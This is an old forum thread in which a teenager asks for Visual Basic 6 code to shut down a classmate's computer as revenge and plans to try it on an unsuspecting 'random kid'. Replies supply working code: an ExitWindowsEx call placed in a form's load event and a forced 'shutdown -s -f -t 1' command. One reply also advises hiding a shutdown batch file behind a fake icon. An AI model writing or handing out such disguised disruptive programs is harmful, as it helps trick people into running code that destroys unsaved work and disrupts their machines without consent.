| View previous topic :: View next topic |
| Author |
Message |
kickme93 Master Cheater
Reputation: 0
Joined: 24 Oct 2007 Posts: 461
|
Posted: Sun Dec 16, 2007 6:50 am Post subject: Vb6 Shutdown Code |
|
|
Ive Searched But Most I Have Had Have Errors.
Im Going To Play Some Tricks On A Mate In School, For Telling Everyone About Me Fancying This Lass So Now Im Going To Get My Own Back On Him.
Could Anyone Give Me A Working Vb6 Code?
Im Going To Prank Him By Making It Shutdown His Computer In School, Muhahahaha!
Please?
Kickme93
|
|
| Back to top |
|
 |
sliner360 Expert Cheater
Reputation: 0
Joined: 03 Jun 2007 Posts: 232
|
Posted: Sun Dec 16, 2007 6:55 am Post subject: |
|
|
try this
| Code: | | shutdownWindowsOS shutdownTypes.Shutdown | i got this from a source code of something i 4got where i dled from
btw when will you rep me 4 helping you with the login thing?
|
|
| Back to top |
|
 |
Blader I post too much
Reputation: 2
Joined: 19 Jan 2007 Posts: 2049
|
Posted: Sun Dec 16, 2007 6:57 am Post subject: |
|
|
You can't shutdown other people's computer, but you can give him a program, and it will shutdown when loaded or something, pick something he/she likes.
Firstly use:
| Code: | Const EWX_LogOff As Long = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Private Declare Function ExitWindows _
Lib "User32" Alias "ExitWindowsEx" _
(ByVal dwOptions As Long, ByVal dwReserved As Long) As Long |
Now in the form loading event or a command button event, add this:
| Code: | | ExitWindows EWX_SHUTDOWN, &HFFFFFFFF |
If you wish to restart instead of shutting down, use this:
| Code: | | ExitWindows EWX_REBOOT, &HFFFFFFFF |
_________________
|
|
| Back to top |
|
 |
kickme93 Master Cheater
Reputation: 0
Joined: 24 Oct 2007 Posts: 461
|
Posted: Sun Dec 16, 2007 9:52 am Post subject: |
|
|
| sliner360 wrote: | try this
| Code: | | shutdownWindowsOS shutdownTypes.Shutdown | i got this from a source code of something i 4got where i dled from
btw when will you rep me 4 helping you with the login thing? |
When It Lets Me, I Just -Repped Some Nub For My -Rep Which Was For No Reason.
Also, Thanks For The Code, Same To You Blader, Trying Now (Not Me, But That Freind )
|
|
| Back to top |
|
 |
Blader I post too much
Reputation: 2
Joined: 19 Jan 2007 Posts: 2049
|
Posted: Sun Dec 16, 2007 9:59 am Post subject: |
|
|
Remember to save before you use it, since it will shutdown your comp. lol
_________________
|
|
| Back to top |
|
 |
kickme93 Master Cheater
Reputation: 0
Joined: 24 Oct 2007 Posts: 461
|
Posted: Sun Dec 16, 2007 10:01 am Post subject: |
|
|
Im Not Idiotic To Test It
Thats Why Ill Get Some Random Kid Too, HeHeHe..
|
|
| Back to top |
|
 |
Thlump Grandmaster Cheater
Reputation: 0
Joined: 26 Aug 2007 Posts: 964 Location: 206.51.226.121
|
Posted: Sun Dec 16, 2007 10:27 am Post subject: |
|
|
Theres a easier way to do it, just make a batch file for it. Then when he clicks it it will shut down his computer for real. Be sure to put a fake icon to disguise it though.
_________________
| Symbol wrote: | LOL!
Then its not a UCE, its UWF. (Undetected Windows Form. WITH BUTTONS! ) |
|
|
| Back to top |
|
 |
AtheistCrusader Grandmaster Cheater
Reputation: 6
Joined: 23 Sep 2006 Posts: 681
|
Posted: Sun Dec 16, 2007 10:35 am Post subject: |
|
|
| Shell (shutdown -s -f -t 1)
|
|
| Back to top |
|
 |
Kumori Guardian I'm a spammer
Reputation: 0
Joined: 19 Jun 2007 Posts: 6517 Location: http://forum.cheatengine.org/viewtopic.php?t=452539
|
Posted: Sun Dec 16, 2007 10:45 am Post subject: |
|
|
didn't bamssee give oyu the code
_________________
|
|
| Back to top |
|
 |
kickme93 Master Cheater
Reputation: 0
Joined: 24 Oct 2007 Posts: 461
|
Posted: Sun Dec 16, 2007 11:32 am Post subject: |
|
|
I Cant Remeber.
Was It In The Old Thread?
|
|
| Back to top |
|
 |
|